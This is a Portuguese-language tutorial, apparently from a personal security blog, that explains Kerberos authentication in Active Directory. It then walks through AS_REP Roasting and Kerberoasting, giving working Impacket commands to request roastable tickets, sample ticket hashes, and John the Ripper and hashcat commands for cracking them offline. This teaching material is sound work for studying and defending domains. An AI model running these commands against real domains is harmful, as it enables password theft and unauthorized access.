70                        
                                                          000                       
                                                          000                       
                                                           000                      
                                                       000000000                    
                                                     0000000000000                  
                                        770777      00000000000000                  
                                   777      07770000000000000000000                 
                               777              70    0000000000000                 
                         7777                          0000000000                   
                 7700077                               0000000000                   
       00000000007770000                               0000000000                   
      00000000000770000000000000000000000000          00000000000                   
    000000000000770000000000000000000000000000        00000000000                   
   00000000000077000000000000000000000000000000      000000000000                   
    00       77070000000000000000000000000000000     0000000000000                  
                 0000000000000000000000000000000    00000000000000                  
                 00000000000000000000 00000000000  0000000000000000    0            
                 0000  00000            0000000 0000000000000000000 00070           
                 0000    0000             00000000000000000000000000000007007        
                000      000              0000000777700777777700700777777777        
              0000        000            0000700777777777777777777000777777         
              000           00          000  0777777 777777777777  77777    


            --------------------- Kerberos Attacks ---------------------                  
                                [1] Oque é o Kerberos?
                                [2] AS_REP Roasting
                                [3] Kerberoasting


    Olá, este artigo aborda o protocolo de autenticação Kerberos e algumas técnicas de ataques relacionados, como por exemplo, AS_REP Roasting, Kerberoasting.

    
    [1] O que é o Kerberos?

    O Kerberos é um protocolo de autenticação utilizado no Active Directory. Ele funciona baseado em tickets, em vez de transmitir a senha pela rede. 
    Cada Domain Controller possui um serviço chamado Key Distribution Center (KDC), que emite esses tickets.

    Quando um usuário tenta fazer login, ele solicita um ticket ao KDC, criptografando sua solicitação com sua senha (AS_REQ). 
    Se o KDC conseguir descriptografar a solicitação ele emite um Ticket Granting Ticket (TGT) e o envia de volta ao usuário (AS_REP).

    Em seguida, o usuário apresenta o TGT ao KDC, solicitando um Ticket Granting Service (TGS) para acessar um determinado serviço. 
    O TGS é criptografado com uma "senha" do serviço.

    Por fim, o usuário apresenta o TGS ao serviço desejado, solicitando o acesso. O serviço valida o ticket e se tudo estiver correto, o acesso é concedido.


    [2] AS_REP Roasting

    No Kerberos, quando um usuário solicita um Ticket Granting Ticket (TGT), por padrão, é necessário passar por uma pré-autenticação, onde a solicitação é criptografada com a senha do usuário. 
    No entanto, em certos casos, por diversos motivos (o que é bem comum), essa pré-autenticação precisa ser desativada. 
    Isso significa que não é necessário saber a senha do usuário para solicitar um Ticket Granting Ticket (TGT) e receber um TGT criptografado com a senha do usuário.
    O objetivo desse ataque é obter o TGT de uma conta de usuário para tentar quebrá-lo offline e obter a senha.

    configuração


    Para realizar esse ataque, é necessário saber pelo menos o nome de usuário de uma conta no domínio que tenha essa opção de pré-autenticação desativada. 
    O ataque pode ser feito usando uma ferramenta chamada GetNPUsers do Impacket da seguinte forma:
    
        python3 GetNPUsers.py DOMAIN/User -dc-ip DC_IP
    
    O resultado esperado é algo como:
    
        $krb5asrep$23$user@domain:3173ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a14
        0c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f
        5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6
        d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487
        d3632a52be7ff4e786f4c27117279ddcbbded86020405b014278d5556d8382a655a6db1787dbe949b41
        2756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54
        b8d0249972903ca8ff5951a866fc70379b9da
    
    Com a hash obtida, é possível quebrá-la localmente utilizando ferramentas como o John the Ripper ou o Hashcat. 
    Para quebrar com o John the Ripper, coloque a hash em um arquivo, por exemplo, tgt.hash, e execute o seguinte comando:

    
        john tgt.hash --wordlist=passwords.txt
    
    
[3] Kerberoasting Antes de abordarmos o Kerberoasting, é importante entender o que são os Service Principal Names, ou SPNs. Um SPN é um identificador único pra uma instancia de um serviço. Ele funciona como um nome para um serviço sendo executado em uma conta de domínio. Isso permite acessar o serviço sem a necessidade de conhecer o nome exato da conta de domínio onde ele esta hospedado. A estrutura geral de um SPN é a seguinte: serviço/host@domínio Por exemplo: CIFSsvc/[email protected] Isso significa que se alguém quiser se conectar ao serviço CIFSsvc, não é necessário saber o nome exato da maquina (fileserver3) ou do domínio (empresa.local). Basta conhecer o nome do serviço, pois o SPN ja associa automaticamente o serviço à maquina e ao domínio. Isso simplifica o processo de acesso aos serviços no AD. Agora, falando sobre o Kerberoasting, ele está relacionado às solicitações de Ticket Granting Service (TGS), ao contrário do AS_REP Roasting, que está relacionado às solicitações de Authentication Service (AS). Basicamente, o ataque funciona na ideia de que, tendo acesso a qualquer conta de usuário dentro do AD, é possível solicitar um TGS para qualquer conta com SPN e receber um TGS criptografado com a senha do serviço, que pode ser quebrada offline. Diferente do AS_REP Roasting, não existe uma forma 100% efetiva de mitigar esse ataque. Para realizar esse ataque, podemos usar a ferramenta GetUserSPNs do Impacket para listar os SPNs e obter os TGS para quebrar a senha offline. Primeiramente, listamos os SPNs da seguinte forma: python3 GetUserSPNs.py -dc-ip dc_ip domain/user O usuário que você deve passar nesse comando é um usuário ao qual você já tem acesso dentro do AD. Em seguida, você precisa digitar a senha desse usuário. O output mostrará os SPNs no DC, como no exemplo abaixo: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ------------------------ ----------- ----------------------------------------------- -------------------------- ----------- ---------- CIFSsvc/[email protected] fileserver3 CN=Administrator,CN=Builtin,DC=empresa,DC=local 2021-03-12 03:20:01.333272 2021-04-26 NEVER Para realizar um TGS_REQ e receber um TGS criptografado para quebrar a senha do serviço, execute o comando com o parâmetro "-request": python3 GetUserSPNs.py -dc-ip dc_ip domain/user -request O resultado será algo como: $krb5tgs$23$*fileserver3$EMPRESA.LOCAL$empresa.local/Administrator*$b01abd8f5eb61b5 e0ff4a58856621551$be74de6b7fe627bc9389049a473000000000000000dc9d711bf89f65a74c4f22f b77a69861cb6726b60ccf6e25eb41f87ef9807653df3a9c728cad25d5f633e68504751d00ebc9adf383 e5d62e0a29d41470d727536c1232716be0edb8a633cadaa69774e9f6a502867235b5c92d5e5614bfc46 8cd46ffb65b61931a365d7a44d1fdf4d041bbbdd9e38ac6075769523b4446cb8ca878d71763cba6f870 d9fd6a22d420ddca26ef2890eb402aec9f03611b35c33372fb33bb9c4d565a5e67deb58712ed4d74788 18dc7cc41213a7a2a374a7eab9fa5a7247127bac13d31a87fd0167737676ef240d7ab4997ef436a4ef1 0fab61b9582cdc85602214ec4fa19b01ae5841675805d7eaabd9a881483577382a132a362acc447ebd5 1e33e04e2f4e6574bfe87a496ad0c478f22771e10fc415343da3df2ff3a94276442b5f32a16b5961236 6311663cc5ab348b5a98e902eac1811e12f413ac14a4aebb45e066bfcfd4fd0a83bf45d13d2fd96717a 72389fc797f7892451ca01f7d1d734a4cc3539b78d60ae8f942bf92412b93b4c69d3ff64d2e6c65e8ed 363211ececa09c6a81f1da783f41bac7994d7582e6fdb43b2616f471069ad30308847c58bfbe5c235ec 0b28c8af00682fc25dd7c6f9810c3c7f3cc975a5ebebf7bf26321fccf6ab13d20392767ad1150476138 9029a96d2649eedeb7018405bd678d0660908ac2a2f108b74e563a19c6390aa1eaa9b3f22a9a408710e 5aae30996dbac5f3c9185bcf41171bc10a80262661a30e266ca4a59522cfa455ea2980bed9fd9ab63e1 b36084ca712cc676adea4c1bc00c4bc98b12f4029e3d21e3bc81a66666c882d14276bd70a6941f264e4 f4c8912b72606a8b461b186287c89a189fbf31ab55641e3071093dd81f8811c02b9b04be3ed44810cf2 b0d34417e58cabf20ee9bdc9855719a7ad11fde45d7ade295b10192b8f342150a5d99b3a575bf021f24 e6ffd7b2bca021ddb354b1dee3d4838c6c2985d9eb345eea51fd3ae94b123742bd2ab1864966a9c3247 1b6071ce24b29d12a151bac97a2a32da995e105023c321fe8861d95111c626731e4d1833f83050f2ccb 567df6fcca4b213a69efc92eefb12a6a1b36912d90545e9aad786e765c14714825d48481a080dc8956c f262923623d7f7596a229cf3f6f68f8b4d9785f99c51cec1a0ca78f25554729d1098d706f1e7d1a451b 79f01502111ab645667c7ea0f3cb3695c0fee7598097ea6fa Para quebrar essa hash, podemos usar o hashcat, armazenando a hash em um arquivo (por exemplo, tgs.hash) e utilizando o hashcat da seguinte forma: hashcat -m 13100 -a 0 tgs.hash passwords.txt --force --show O parâmetro -m 13100 é o código para a hash do TGS_REP no hashcat. Obrigado por ler! Espero que tenha sido útil. Caso tenha alguma dúvida ou sugestão, entre em contato comigo: https://lacorte.ninja/contact